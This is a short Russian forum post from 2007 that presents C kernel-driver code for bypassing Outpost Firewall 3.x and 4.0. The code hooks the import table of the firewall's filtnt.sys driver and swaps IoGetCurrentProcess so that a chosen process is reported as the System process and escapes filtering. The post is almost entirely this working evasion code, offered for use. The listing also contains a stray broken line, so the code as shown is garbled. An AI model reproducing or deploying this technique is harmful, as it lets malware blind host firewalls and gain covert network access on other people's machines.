Показать сообщение отдельно

  #12  
Старый 30.06.2007, 21:55
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
С нами: 10140806

Репутация: 932


По умолчанию

Обход Outpost Firewall 3.x и 4.0 в Kernel mode (C) wasm.ru

Код:
static
void HookImport(
IN PVOID Image,
IN PVOID Handler,
IN PVOID NewHandler
)
{
PIMAGE_DOS_HEADER dHeader = Image;
PIMAGE_NT_HEADERS ntHeaders = RVATOVA(Image, dHeader->e_lfanew);
ULONG ImpRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if (ImpRVA)
{
PIMAGE_IMPORT_DESCRIPTOR ImpDesc = RVATOVA(Image, ImpRVA);

while (ImpDesc->Name)
{
PIMAGE_THUNK_DATA Import;

Import = RVATOVA(Image, ImpDesc->FirstThunk);

while (Import->AddressOfData) 
{
PIMAGE_IMPORT_BY_NAME ImpName = RVATOVA(Image, Import->AddressOfData);

if (Import->Function == (ULONG)Handler) 
{
Import->Function = (ULONG)NewHandler; 
}

Import++; 
}

ImpDesc++;
}
}
}

static
PEPROCESS
NewIoGetCurrentProcess()
{
PEPROCESS Process = IoGetCurrentProcess();

if (Process == UserProcess) Process = PsInitialSystemProcess;

return Process; 
}



void InitFwb(void)
{
PVOID Image = GetModuleHandle("filtnt.sys");
]extern P
if (Image)
{
HookImport(Image, IoGetCurrentProcess, NewIoGetCurrentProcess);
}
}
 
Ответить с цитированием